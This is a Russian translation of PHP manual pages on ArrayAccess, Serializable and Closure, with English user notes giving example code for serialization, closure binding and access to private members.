Возвращает заданное смещение (ключ).

Данный метод выполняется, когда проверяется смещение (ключ) на пустоту с помощью функции empty().

Список параметров

offset

Смещение (ключ) для возврата.

Возвращаемые значения

Может возвращать значение любого типа.

Примечания

Замечание:

Возможна реализация данного метода с возвращением по ссылке. Это делает возможным косвенную модификацию для величин массива перегруженного объекта ArrayAccess.

Явная модификация - это такая модификация, при которой полностью заменяется значение величины массива, как в случае $obj[6] = 7. С другой стороны, при косвенной модификации заменяется только часть величины, или происходит попытка присвоения величины по ссылке другой переменной, как в случае $obj[6][7] = 7 или $var =& $obj[6]. Увеличение с использованием оператора ++ и уменьшение с использованием оператора -- также реализуются с помощью способа, который требует косвенную модификацию.

В то время как, явная модификация запускает вызов метода ArrayAccess::offsetSet(), косвенная модификация запускает вызов метода ArrayAccess::offsetGet(). В таком случае, реализация метода ArrayAccess::offsetGet() должна быть в состоянии возвращать результат по ссылке, в противном случае будет вызвано сообщение об ошибке уровня E_NOTICE.

Смотрите также

  • ArrayAccess::offsetExists() - Определяет, существует ли заданное смещение (ключ)

User Contributed Notes

Martin Q 22-Oct-2019 09:28
As of PHP 7, offsetExists($offset) must return a TRUE value in order for offsetGet($offset) to be called, otherwise offsetGet($offset) will just return NULL.  This was not the case in PHP 5, so if your code suddenly stops working upon upgrade to PHP 7, make sure offsetExists() returns sensible values.


Присваивает значение заданному смещению

  • « ArrayAccess::offsetGet
  • ArrayAccess::offsetUnset »
  • PHP Manual
  • ArrayAccess
  • Присваивает значение заданному смещению

ArrayAccess::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetSet — Присваивает значение заданному смещению

Описание

public ArrayAccess::offsetSet(mixed $offset, mixed $value): void

Присваивает значение указанному смещению (ключу).

Список параметров

offset

Смещение (ключ), которому будет присваиваться значение.

value

Значение для присвоения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание:

Параметр offset будет установлен в null, если другое значение недоступно, как показано в следующем примере.

<?php
$arrayaccess[] = "первое значение";
$arrayaccess[] = "второе значение";
print_r($arrayaccess);
?>

Результат выполнения данного примера:

Array
(
    [0] => first value
    [1] => second value
)

Замечание:

Данный метод не вызывается при присвоениях по ссылке и других косвенных изменений величин массива перегруженного объекта ArrayAccess (косвенные в том смысле, что они произведены не прямой заменой величины, а путём изменения часть элемента или свойства элемента массива, или присвоением элемента массива по ссылке другой переменой). Вместо этого, вызывается метод ArrayAccess::offsetGet(). Данная операция будет успешна только в том случае, если метод возвращает по ссылке.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет смещение

  • « ArrayAccess::offsetSet
  • Serializable »
  • PHP Manual
  • ArrayAccess
  • Удаляет смещение

ArrayAccess::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetUnset — Удаляет смещение

Описание

public ArrayAccess::offsetUnset(mixed $offset): void

Удаляет смещение (ключ).

Замечание:

Этот метод не будет вызван при приведении типа к (unset)

Список параметров

offset

Смещение (ключ) для удаления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Serializable

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Интерфейс для индивидуальной сериализации.

Классы, реализующие этот интерфейс, больше не поддерживают __sleep() и __wakeup(). Метод serialize вызывается всякий раз, когда необходима сериализация экземпляру класса. Этот метод не вызывает __destruct() и не имеет никаких побочных действий кроме тех, которые запрограммированы внутри него. Когда данные десериализуются, класс известен и соответствующий метод unserialize() вызывается как конструктор вместо вызова __construct(). Если вам необходимо вызвать стандартный конструктор, вы можете это сделать в этом методе.

Внимание

Начиная с PHP 8.1.0, класс, который реализует Serializable без реализации __serialize() и __unserialize() выдаст предупреждение об устаревании.

Обзор интерфейсов

interface Serializable {
/* Методы */
public serialize(): ?string
public unserialize(string $data): void
}

Пример #1 Основы использования

<?php
class obj implements Serializable {
private $data;
public function __construct() {
$this->data = "Мои закрытые данные";
}
public function serialize() {
return serialize($this->data);
}
public function unserialize($data) {
$this->data = unserialize($data);
}
public function getData() {
return $this->data;
}
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);

$newobj = unserialize($ser);

var_dump($newobj->getData());
?>

Результатом выполнения данного примера будет что-то подобное:

string(59) "C:3:"obj":44:{s:36:"Мои закрытые данные";}"
string(36) "Мои закрытые данные"

Содержание

  • Serializable::serialize — Представляет объект в виде строки
  • Serializable::unserialize — Создаёт объект

User Contributed Notes

info at ensostudio dot ru 26-Sep-2020 10:55
Note: that interface declared as "deprecated" in PHP 7.4, use magic methods __serialize() and __unserialize()  instead .
shaun at slickdesign dot com dot au 11-Jan-2018 07:27
Serialized strings differ between instances that implement Serializable and those that don't.

Instances that don't implement Serializable use the Object notation "O:" when serialized, while those that do use the Class notation "C:". Class notation can only be used to unserialize instances that implement Serializable, while the Object notation can be used to unserialize any object.

Because of this, it is sometimes useful to implement the __wakeup() function when implementing Serializable, for instances where you may have a copy of the serialised class before it implemented Serializable (backwards compatible), or when you're expecting a serialized object from an external source, and they use Object notation for maximum compatibility. You can also use __wakeup() to process your unserialize function, or use it to help prevent people trying to bypass your unserialize.

Below is an example of a simple class hierarchy, where A is a standard class, B implements Serializable, and C uses __wakeup() to assist with unserializing it.

<?php
class A {
    protected $readonly_data = true;
    public $public_data = true;

    public function __construct( $data = true ) {
        $this->public_data = $data;
    }

    public function get_readonly_data() {
        return $this->readonly_data;
    }
}

$a = new A;

var_dump( $a );
//object(A)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(true)
//  ["public_data"]=>
//  bool(true)
//}
var_dump( serialize( $a ) );
//string(63) "O:1:"A":2:{s:16:"*readonly_data";b:1;s:11:"public_data";b:1;}"
?>
Class A outputs the following object, and its serialized string uses the object notation "O:". Please note that there is a null byte "\0" either side of the star*.

Changing the serialised string and unserializing it can cause protected and private values to change.
<?php
var_dump( unserialize( "O:1:\"A\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(A)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(false)
//  ["public_data"]=>
//  bool(false)
//}
?>

Class B extends A, and so has the same constructor and properties. It also implements Serializable.
<?php
class B extends A implements Serializable {
    public function serialize() {
        return serialize( $this->public_data );
    }

    public function unserialize( $data ) {
        $this->public_data = unserialize ( $data );
        do_extra_processing_here();
    }
}

$b = new B;

var_dump( serialize( $b ) );
// C:1:"B":4:{b:1;}
?>
As well as being a lot shorter, the serialized string uses the Class notation "C:", but you can still unserialize it using the older style notation. Doing this however will completely ignore the unserialize() function, potentially update the wrong information, and the function do_extra_processing_here() from the example above is not called.
<?php
var_dump( unserialize( "O:1:\"B\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(B)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(false)
//  ["public_data"]=>
//  bool(false)
//}
?>

Class C extends B, so it's already using the serialize() and unserialize() functions. By implementing the __wakeup() method, we ensure that we are validating the information and performing our do_extra_processing_here() function.
<?php
class C extends B {
    public function __wakeup() {
        $new = new static;
        $this->readonly_data = $new->get_readonly_data();
        do_extra_processing_here();
    }
}

var_dump( unserialize( "O:1:\"C\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(B)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(true)
//  ["public_data"]=>
//  bool(false)
//}
?>
We can use __wakeup() to revert our readonly data back to what it was, or to add additional processing. You can additionally call __wakeup() from within unserialize() if you need to do the same process regardless of which serialized string notation was used.
Wojciech Brozyna 05-Aug-2016 08:56
My solution that let you serialize inherited objects.
Without specify what need to be serialized.
We want to get rid of PDO object in this example.

abstract class DefaultModel() implements \Serializable
{

    /**
    * @var PDO
    */
    private $pdo;

    /**
     * Serialize object
     *
     * @return string
     */
    public function serialize()
    {

        $serializable = get_object_vars($this);

        // unset property name that hold PDO instance
        unset($serializable['pdo']);

        return serialize($serializable);

    }

    /**
     * Unserialize object
     *
     * @param string $serialized Serialized object
     * @return DefaultModel
     */
    public function unserialize($serialized)
    {

        $unserialized = unserialize($serialized);

       // recreate PDO object
        $this->pdo = $this->createDBObject();

        if(is_array($unserialized) === true) {

            foreach($unserialized as $property => $value) {

                $this->{$property} = $value;

            }

        }

    }

}

class RealModel extends DefaultModel
{

    private $myVar;

    public function setMyVar($value)
    {

        $this->myVar = $value;

    }

}

$model = new RealModel();
$model->setMyVar('123456');

$serialized = serialize($model);
$serialized = $model->serialize();   // will also work

print_r($serialized);

$unserialized = unserialize($serialized);

print_r($unserialized);

Hope this help.
grzeniufication 05-Nov-2015 09:19
Here's an example how to un-, serialize more than one property:

class Example implements \Serializable
{
    protected $property1;
    protected $property2;
    protected $property3;

    public function __construct($property1, $property2, $property3)
    {
        $this->property1 = $property1;
        $this->property2 = $property2;
        $this->property3 = $property3;
    }

    public function serialize()
    {
        return serialize([
            $this->property1,
            $this->property2,
            $this->property3,
        ]);
    }

    public function unserialize($data)
    {
        list(
            $this->property1,
            $this->property2,
            $this->property3
        ) = unserialize($data);
    }

}
Olivier Pons 13-May-2014 04:19
Here's the way you could implement serializable so that *ALL* descendant serialize themselves without the need of re-writing for all descendant the functions serialize() and unserialize().

Note : this will only serialize "visible" properties, this it won't serialize private descendant properties. If you dont want a property of a descendant to be serialized, make it private.

class Pot implements Serializable
{
    protected $_a;
    protected $_b;

    public function serialize()
    {
        return serialize(get_object_vars($this));
    }
    public function unserialize($data)
    {
        $values = unserialize($data);
        foreach ($values as $key=>$value) {
            $this->$key = $value;
        }
    }
}

And now one descendant:

class PotId implements Pot
{
    protected $_k;
}

class Pots implements PotId
{
    protected $_l;
}

$pots = new Pots();

and calling serialize($pots) will serialize all properties ($_a, $_b, $_k, $l).
marcos dot gottardi at folha dot REM0VE-THIS dot com dot br 13-Jan-2012 09:05
Serializing child and parent classes:

<?php
class MyClass implements Serializable {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function getData() {
        return $this->data;
    }

    public function serialize() {
        echo "Serializing MyClass...\n";
        return serialize($this->data);
    }

    public function unserialize($data) {
        echo "Unserializing MyClass...\n";
        $this->data = unserialize($data);
    }
}

class MyChildClass extends MyClass {
    private $id;
    private $name;

    public function __construct($id, $name, $data) {
        parent::__construct($data);
        $this->id = $id;
        $this->name = $name;
    }

    public function serialize() {
        echo "Serializing MyChildClass...\n";
        return serialize(
            array(
                'id' => $this->id,
                'name' => $this->name,
                'parentData' => parent::serialize()
            )
        );
    }

    public function unserialize($data) {
        echo "Unserializing MyChildClass...\n";
        $data = unserialize($data);

        $this->id = $data['id'];
        $this->name = $data['name'];
        parent::unserialize($data['parentData']);
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }
}

$obj = new MyChildClass(15, 'My class name', 'My data');

$serial = serialize($obj);
$newObject = unserialize($serial);

echo $newObject->getId() . PHP_EOL;
echo $newObject->getName() . PHP_EOL;
echo $newObject->getData() . PHP_EOL;

?>

This will output:

Serializing MyChildClass...
Serializing MyClass...
Unserializing MyChildClass...
Unserializing MyClass...
15
My class name
My data
Anonymous 12-May-2011 06:09
You can prevent an object getting unserialized by returning NULL. Instead of a serialized object, PHP will return the serialized form of NULL:

<?php
class testNull implements Serializable {
    public function serialize() {
        return NULL;
    }
    public function unserialize($data) {
    }
}

$obj = new testNull;
$string = serialize($obj);
echo $string; // "N;"
?>

That's perhaps better than throwing exceptions inside of the serialize function if you want to prevent serialization of certain objects.


Представляет объект в виде строки

  • « Serializable
  • Serializable::unserialize »
  • PHP Manual
  • Serializable
  • Представляет объект в виде строки

Serializable::serialize

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Serializable::serialize — Представляет объект в виде строки

Описание

public Serializable::serialize(): ?string

Возвращает строковое представление объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление объекта или null.

Ошибки

Выбрасывает исключение Exception при возвращении типов, отличных от строки или null.

Смотрите также

  • __sleep()
  • __serialize()

User Contributed Notes

John 30-Sep-2017 10:52
I don't like the bad docs here, which are wrongly claiming that "serialize(): This method acts as the destructor of the object. The __destruct() method will not be called after this method.".

They are simply meaning that serialize() will NOT call __destruct(). That is the ONLY thing they mean.

Your object that is being serialized will continue to live as a normal object. So you should NOT treat serialize() as your destructor! Treat your object as a still-living copy that the user may be using!

The destructor will always run as normal, later, when your object goes out of scope (or is forcibly unset() by you)).

Example with proof:

<?php

class A implements Serializable
{
    public $data = [];

    public function __destruct()
    {
        echo "Destruct of A called.\n";
    }

    public function serialize()
    {
        printf("- Serialize of %s called.\n", static::class);
        return serialize($this->data);
    }

    public function unserialize($serialized)
    {
        printf("- Unserialize of %s called.\n", static::class);
        $this->data = unserialize($serialized);
    }
}

class B extends A
{
    public function __destruct()
    {
        echo "Destruct of B called.\n";
    }
}

$a = new A();
$a->data['inner_b'] = new B();
var_dump($a);

echo "-----------------\n";
echo "Calling serialize($a):\n";
$str = serialize($a);
echo "-----------------\n";
echo "End of script shutdown from here on:...\n";

?>

Result:

```
object(A)#1 (1) {
  ["data"]=>
  array(1) {
    ["inner_b"]=>
    object(B)#2 (1) {
      ["data"]=>
      array(0) {
      }
    }
  }
}
-----------------
Calling serialize($a):
- Serialize of A called.
- Serialize of B called.
-----------------
End of script shutdown from here on:...
Destruct of A called.
Destruct of B called.
```
crog at gustavus dot edu 07-Nov-2013 05:30
The documentation here is somewhat misleading. Where it says "This method acts as the destructor of the object. The __destruct() method will not be called after this method," I believe the intent is not that the destructor is not run on the object itself, but that the destructor is not called /as part of the serialization process/.

That is, the object will still be destructed as it goes out of scope as normal, but the destructor is not called as a part of the object's serialization.


Создаёт объект

  • « Serializable::serialize
  • Closure »
  • PHP Manual
  • Serializable
  • Создаёт объект

Serializable::unserialize

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Serializable::unserialize — Создаёт объект

Описание

public Serializable::unserialize(string $data): void

Вызывается во время десериализации объекта.

Замечание:

Метод действует как конструктор объекта. Метод __construct() не вызывается после этого метода.

Список параметров

data

Строковое представление объекта.

Возвращаемые значения

Возвращаемое значение метода игнорируется.

Смотрите также

  • __wakeup()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


Класс Closure

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс, используемый для создания анонимных функций.

Анонимные функции выдают объекты этого типа. Класс получил методы, позволяющие контролировать анонимную функцию после её создания.

Кроме методов, описанных здесь, этот класс также имеет метод __invoke. Данный метод необходим только для совместимости с другими классами, в которых реализован магический вызов, так как этот метод не используется при вызове функции.

Обзор классов

final class Closure {
/* Методы */
private __construct()
public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure
public bindTo(?object $newThis, object|string|null $newScope = "static"): ?Closure
public call(object $newThis, mixed ...$args): mixed
public static fromCallable(callable $callback): Closure
}

Содержание

  • Closure::__construct — Конструктор, запрещающий создание экземпляра
  • Closure::bind — Дублирует замыкание с указанием конкретного связанного объекта и области видимости класса
  • Closure::bindTo — Дублирует замыкание с указанием связанного объекта и области видимости класса
  • Closure::call — Связывает и запускает замыкание
  • Closure::fromCallable — Конвертирует callable в замыкание

User Contributed Notes

info at ensostudio dot ru 21-Mar-2022 05:41
compare closures:
<?php
(string) new ReflectionFunction($fn) === (string) new ReflectionFunction($fn2)
?>
joe dot scylla at gmail dot com 08-Apr-2016 08:46
Small little trick. You can use a closures in itself via reference.

Example to delete a directory with all subdirectories and files:

<?php
$deleteDirectory = null;
$deleteDirectory = function($path) use (&$deleteDirectory) {
    $resource = opendir($path);
    while (($item = readdir($resource)) !== false) {
        if ($item !== "." && $item !== "..") {
            if (is_dir($path . "/" . $item)) {
                $deleteDirectory($path . "/" . $item);
            } else {
                unlink($path . "/" . $item);
            }
        }
    }
    closedir($resource);
    rmdir($path);
};
$deleteDirectory("path/to/directoy");
?>
luk4z_7 at hotmail dot com 14-Jun-2015 05:42
Scope
A closure encapsulates its scope, meaning that it has no access to the scope in which it is defined or executed. It is, however, possible to inherit variables from the parent scope (where the closure is defined) into the closure with the use keyword:

function createGreeter($who) {
              return function() use ($who) {
                  echo "Hello $who";
              };
}

$greeter = createGreeter("World");
$greeter(); // Hello World

This inherits the variables by-value, that is, a copy is made available inside the closure using its original name.
font: Zend Certification Study Guide.
chuck at bajax dot us 09-Jun-2015 04:16
This caused me some confusion a while back when I was still learning what closures were and how to use them, but what is referred to as a closure in PHP isn't the same thing as what they call closures in other languages (E.G. JavaScript).

In JavaScript, a closure can be thought of as a scope, when you define a function, it silently inherits the scope it's defined in, which is called its closure, and it retains that no matter where it's used.  It's possible for multiple functions to share the same closure, and they can have access to multiple closures as long as they are within their accessible scope.

In PHP,  a closure is a callable class, to which you've bound your parameters manually.

It's a slight distinction but one I feel bears mentioning.


Конструктор, запрещающий создание экземпляра

  • « Closure
  • Closure::bind »
  • PHP Manual
  • Closure
  • Конструктор, запрещающий создание экземпляра

Closure::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Closure::__construct — Конструктор, запрещающий создание экземпляра

Описание

private Closure::__construct()

Этот метод существует только, чтобы запретить создание новых объектов класса Closure. Объекты этого класса создаются способом, описанным на странице анонимных функций.

Список параметров

У этой функции нет параметров.

Смотрите также

  • Анонимные функции

User Contributed Notes

There are no user contributed notes for this page.


Дублирует замыкание с указанием конкретного связанного объекта и области видимости класса

  • « Closure::__construct
  • Closure::bindTo »
  • PHP Manual
  • Closure
  • Дублирует замыкание с указанием конкретного связанного объекта и области видимости класса

Closure::bind

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Closure::bind — Дублирует замыкание с указанием конкретного связанного объекта и области видимости класса

Описание

public static Closure::bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure

Этот метод является статическим вариантом Closure::bindTo(). Смотрите документацию к указанному методу для подробной информации.

Список параметров

closure

Анонимная функция для привязывания к объекту.

newThis

Объект, к которому будет привязана переданная анонимная функция, или null для отсоединения функции от её текущего объекта.

newScope

Область видимости класса, с которой должно быть связано замыкание, или 'static' для сохранения текущей области видимости. Если передан объект, то будет использован его класс. Этот параметр определяет видимость protected (защищённых) и private (закрытых) методов привязанного объекта. Запрещено в качестве этого параметра передавать (объектом) внутренний класс.

Возвращаемые значения

Возвращает новый объект Closure или null в случае возникновения ошибки.

Примеры

Пример #1 Пример Closure::bind()

<?php
class A {
private static $sfoo = 1;
private $ifoo = 2;
}
$cl1 = static function() {
return A::$sfoo;
};
$cl2 = function() {
return $this->ifoo;
};

$bcl1 = Closure::bind($cl1, null, 'A');
$bcl2 = Closure::bind($cl2, new A(), 'A');
echo $bcl1(), "\n";
echo $bcl2(), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

1
2

Смотрите также

  • Анонимные функции
  • Closure::bindTo() - Дублирует замыкание с указанием связанного объекта и области видимости класса

User Contributed Notes

potherca at hotmail dot com 03-Dec-2014 08:22
If you need to validate whether or not a closure can be bound to a PHP object, you will have to resort to using reflection.

<?php

/**
 * @param \Closure $callable
 *
 * @return bool
 */
function isBindable(\Closure $callable)
{
    $bindable = false;

    $reflectionFunction = new \ReflectionFunction($callable);
    if (
        $reflectionFunction->getClosureScopeClass() === null
        || $reflectionFunction->getClosureThis() !== null
    ) {
        $bindable = true;
    }

    return $bindable;
}
?>
Vincius Krolow 14-Dec-2012 12:08
With this class and method, it's possible to do nice things, like add methods on the fly to an object.

MetaTrait.php
<?php
trait MetaTrait
{

    private $methods = array();

    public function addMethod($methodName, $methodCallable)
    {
        if (!is_callable($methodCallable)) {
            throw new InvalidArgumentException('Second param must be callable');
        }
        $this->methods[$methodName] = Closure::bind($methodCallable, $this, get_class());
    }

    public function __call($methodName, array $args)
    {
        if (isset($this->methods[$methodName])) {
            return call_user_func_array($this->methods[$methodName], $args);
        }

        throw RunTimeException('There is no method with the given name to call');
    }

}
?>

test.php
<?php
require 'MetaTrait.php';

class HackThursday {
    use MetaTrait;

    private $dayOfWeek = 'Thursday';

}

$test = new HackThursday();
$test->addMethod('when', function () {
    return $this->dayOfWeek;
});

echo $test->when();

?>


Дублирует замыкание с указанием связанного объекта и области видимости класса

  • « Closure::bind
  • Closure::call »
  • PHP Manual
  • Closure
  • Дублирует замыкание с указанием связанного объекта и области видимости класса

Closure::bindTo

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Closure::bindTo — Дублирует замыкание с указанием связанного объекта и области видимости класса

Описание

public Closure::bindTo(?object $newThis, object|string|null $newScope = "static"): ?Closure

Создаёт и возвращает новую анонимную функцию с тем же телом функции и связанными переменными, но с другим связанным объектом или новой областью видимости класса.

"Связанный объект" определяет значение $this, которое будет доступно в теле функции, а "область видимости класса" представляет собой класс, который определяет к каким protected (защищённым) и private (закрытым) элементам этого объекта будет иметь доступ анонимная функция. Если точнее, то это те элементы, как если бы анонимная функция была бы методом класса, переданного в параметре newScope.

Статические замыкания не могут иметь привязанный объект (значение параметра newThis должно быть равно null), но эта функция может всё равно использоваться для изменения его области видимости класса.

Данный метод гарантирует, что у нестатического замыкания с привязанным объектом будет задана область видимости и наоборот. Для выполнения этого условия применяются следующие правила: Для нестатического замыкания с указанной областью видимости и с null вместо объекта, будет создано статическое замыкание. Для нестатического замыкания с незаданной областью видимости, но с указанием объекта, создаётся замыкание с неуказанной областью видимости.

Замечание:

Если вам необходимо только дублировать анонимную функцию, то вы можете вместо данного метода использовать клонирование.

Список параметров

newThis

Объект, к которому будет привязана переданная анонимная функция, или null для отсоединения замыкания от её текущего объекта.

newScope

Область видимости класса, с которой должно быть связано замыкание или 'static' для сохранения текущей области видимости. Если передан объект, то будет использован его класс. Этот параметр определяет видимость protected (защищённых) и private (закрытых) методов привязанного объекта. Запрещается передавать в этот параметр внутренний класс (объект класса).

Возвращаемые значения

Возвращает новый объект Closure или null в случае возникновения ошибки.

Примеры

Пример #1 Пример Closure::bindTo()

<?php

class A {
private $val;

function __construct($val) {
$this->val = $val;
}

function getClosure() {
//возвращает замыкание, связанное с текущими объектом и областью видимости
return function() { return $this->val; };
}
}

$ob1 = new A(1);
$ob2 = new A(2);

$cl = $ob1->getClosure();
echo $cl(), "\n";
$cl = $cl->bindTo($ob2);
echo $cl(), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

1
2

Смотрите также

  • Анонимные функции
  • Closure::bind() - Дублирует замыкание с указанием конкретного связанного объекта и области видимости класса

User Contributed Notes

malferov at gmail dot com 20-Nov-2023 07:09
If you, like me, did not immediately understand what exactly "(an object of) an internal class" in the documentation about the 'newScope' parameter:

The documentation is about the object of the Closure itself:

<?php

class A {}

$a = new A();

$closure = fn() => null;

$binded = $closure->bindTo($a, $closure,); // Warning: Cannot bind closure to scope of internal class Closure
Olexandr Kalaidzhy 12-Feb-2022 11:56
Get all object vars without using Reflection:

<?php

declare(strict_types=1);

class A
{
    private $foo = 'foo';
    protected $bar = 'bar';
    public $buz = 'buz';
}

function get_object_vars_all($object): array
{
    if (!\is_object($object)) {
        throw new \InvalidArgumentException(sprintf('The argument should be an object, "%s" given.', get_debug_type($object)));
    }

    $closure = function () {
        return get_object_vars($this);
    };

    return $closure->bindTo($object, $object)();
}

$a = new A();

var_dump(get_object_vars($a));
var_dump(get_object_vars_all($a));

?>

The output:

array(1) {
  ["buz"]=>
  string(3) "buz"
}
array(3) {
  ["foo"]=>
  string(3) "foo"
  ["bar"]=>
  string(3) "bar"
  ["buz"]=>
  string(3) "buz"
}
Anonymous 19-Apr-2018 03:31
If you want to unbind completely the closure and the scope you need to set both to null:

<?php
class MyClass
{
    public $foo = 'a';
    protected $bar = 'b';
    private $baz = 'c';

    /**
     * @return array
     */
    public function toArray()
    {
        // Only public variables
        return (function ($obj) {
            return get_object_vars($obj);
        })->bindTo(null, null)($this);
    }
}
?>

In this example, only the public variables of the class are exported (foo).

If you use the default scope (->bindTo(null)) also protected and private variables are exported (foo, bar and baz).

It was hard to figure it out because there is nowhere mentioned in the documentation that you can use null as a scope.
luc at s dot illi dot be 31-May-2016 04:44
Access private members of parent classes; playing with the scopes:
<?PHP
class Grandparents{ private $__status1 = 'married'; }
class Parents extends Grandparents{ private $__status2 = 'divorced'; }
class Me extends Parents{ private $__status3 = 'single'; }

$status1_3 = function()
{
    $this->__status1 = 'happy';
    $this->__status2 = 'happy';
    $this->__status3 = 'happy';
};

$status1_2 = function()
{
    $this->__status1 = 'happy';
    $this->__status2 = 'happy';
};

// test 1:
$c = $status1_3->bindTo($R = new Me, Parents::class);
#$c();    // Fatal: Cannot access private property Me::$__status3

// test 2:
$d = $status1_2->bindTo($R = new Me, Parents::class);
$d();
var_dump($R);
/*
object(Me)#5 (4) {
  ["__status3":"Me":private]=>
  string(6) "single"
  ["__status2":"Parents":private]=>
  string(5) "happy"
  ["__status1":"Grandparents":private]=>
  string(7) "married"
  ["__status1"]=>
  string(5) "happy"
}
*/

// test 3:
$e = $status1_3->bindTo($R = new Me, Grandparents::class);
#$e(); // Fatal: Cannot access private property Me::$__status3

// test 4:
$f = $status1_2->bindTo($R = new Me, Grandparents::class);
$f();
var_dump($R);
/*
object(Me)#9 (4) {
  ["__status3":"Me":private]=>
  string(6) "single"
  ["__status2":"Parents":private]=>
  string(8) "divorced"
  ["__status1":"Grandparents":private]=>
  string(5) "happy"
  ["__status2"]=>
  string(5) "happy"
}
*/
?>

Clear the stack trace:
<?PHP
use Exception;
use ReflectionException;

$c = function()
{
    $this->trace = [];
};

$c = $c->bindTo($R = new ReflectionException, Exception::class);
$c();

try
{
    throw $R;
}
catch(ReflectionException $R)
{
    var_dump($R->getTrace());
}
/*
array(0) {
}
*/
?>
Nezar Fadle 19-Jan-2015 10:40
We can use the concept of bindTo to write a very small Template Engine:

#############
index.php
############

<?php

class Article{
    private $title = "This is an article";
}

class Post{
    private $title = "This is a post";
}

class Template{

    function render($context, $tpl){

        $closure = function($tpl){
            ob_start();
            include $tpl;
            return ob_end_flush();
        };

        $closure = $closure->bindTo($context, $context);
        $closure($tpl);

    }

}

$art = new Article();
$post = new Post();
$template = new Template();

$template->render($art, 'tpl.php');
$template->render($post, 'tpl.php');
?>

#############
tpl.php
############
<h1><?php echo $this->title;?></h1>
tatarynowicz at gmail dot com 14-Feb-2013 09:30
You can do pretty Javascript-like things with objects using closure binding:

<?php
trait DynamicDefinition {

    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            throw new \RuntimeException("Method {$name} does not exist");
        }
    }

    public function __set($name, $value) {
        $this->$name = is_callable($value)?
            $value->bindTo($this, $this):
            $value;
    }
}

class Foo {
    use DynamicDefinition;
    private $privateValue = 'I am private';
}

$foo = new Foo;
$foo->bar = function() {
    return $this->privateValue;
};

// prints 'I am private'
print $foo->bar();

?>
safakozpinar at gmail dot com 09-Mar-2012 01:35
Private/protected members are accessible if you set the "newscope" argument (as the manual says).

<?php
$fn = function(){
    return ++$this->foo; // increase the value
};

class Bar{
    private $foo = 1; // initial value
}

$bar = new Bar();

$fn1 = $fn->bindTo($bar, 'Bar'); // specify class name
$fn2 = $fn->bindTo($bar,  $bar); // or object

echo $fn1(); // 2
echo $fn2(); // 3
anthony bishopric 03-Mar-2012 01:00
Closures can rebind their $this variable, but private/protected methods and functions of $this are not accessible to the closures.

<?php
$fn = function(){
    return $this->foo;
};

class Bar{
    private $foo = 3;
}

$bar = new Bar();

$fn = $fn->bindTo($bar);

echo $fn(); // Fatal error: Cannot access private property Bar::$foo
amica at php-resource dot de 18-Dec-2011 04:23
With rebindable $this at hand it's possible to do evil stuff:

<?php
    class A {
        private $a = 12;
        private function getA () {
            return $this->a;
        }
    }
    class B {
        private $b = 34;
        private function getB () {
            return $this->b;
        }
    }
    $a = new A();
    $b = new B();
    $c = function () {
        if (property_exists($this, "a") && method_exists($this, "getA")) {
            $this->a++;
            return $this->getA();
        }
        if (property_exists($this, "b") && method_exists($this, "getB")) {
            $this->b++;
            return $this->getB();
        }
    };
    $ca = $c->bindTo($a, $a);
    $cb = $c->bindTo($b, $b);
    echo $ca(), "\n"; // => 13
    echo $cb(), "\n"; // => 35
?>


Связывает и запускает замыкание

  • « Closure::bindTo
  • Closure::fromCallable »
  • PHP Manual
  • Closure
  • Связывает и запускает замыкание

Closure::call

(PHP 7, PHP 8)

Closure::call — Связывает и запускает замыкание

Описание

public Closure::call(object $newThis, mixed ...$args): mixed

Временно связывает замыкание с newThis и вызывает его с заданными параметрами.

Список параметров

newThis

Объект (object) для привязки к замыканию на время его вызова.

args

Ноль или больше параметров, которые передаются замыканию.

Возвращаемые значения

Возвращает возвращаемое значение замыкания

Примеры

Пример #1 Пример Closure::call()

<?php
class Value {
protected $value;

public function __construct($value) {
$this->value = $value;
}

public function getValue() {
return $this->value;
}
}

$three = new Value(3);
$four = new Value(4);

$closure = function ($delta) { var_dump($this->getValue() + $delta); };
$closure->call($three, 4);
$closure->call($four, 4);
?>

Результат выполнения данного примера:

int(7)
int(8)

User Contributed Notes

php-net at gander dot pl 19-Aug-2021 10:23
You can also access private data:

<?php
class Value {
    private $value;

    public function __construct($value) {
        $this->value = $value;
    }
}

$foo = new Value('Foo');
$bar = new Value('Bar');

$closure = function () { var_dump($this->value); };
$closure->call($foo);
$closure->call($bar);
?>

Output:
string(3) "Foo"
string(3) "Bar"
sergey dot nevmerzhitsky at gmail dot com 16-Sep-2016 10:12
Prior PHP 7.0 you can use this code:

<?php
$cl = function($add) { return $this->a + $add; };

$cl->bindTo($newthis);
return call_user_func_array($cl, [10]);
?>

But this bind the closure permanently! Also read the article for Closure::bindTo() about binding closures from static context.


Конвертирует callable в замыкание

  • « Closure::call
  • stdClass »
  • PHP Manual
  • Closure
  • Конвертирует callable в замыкание

Closure::fromCallable

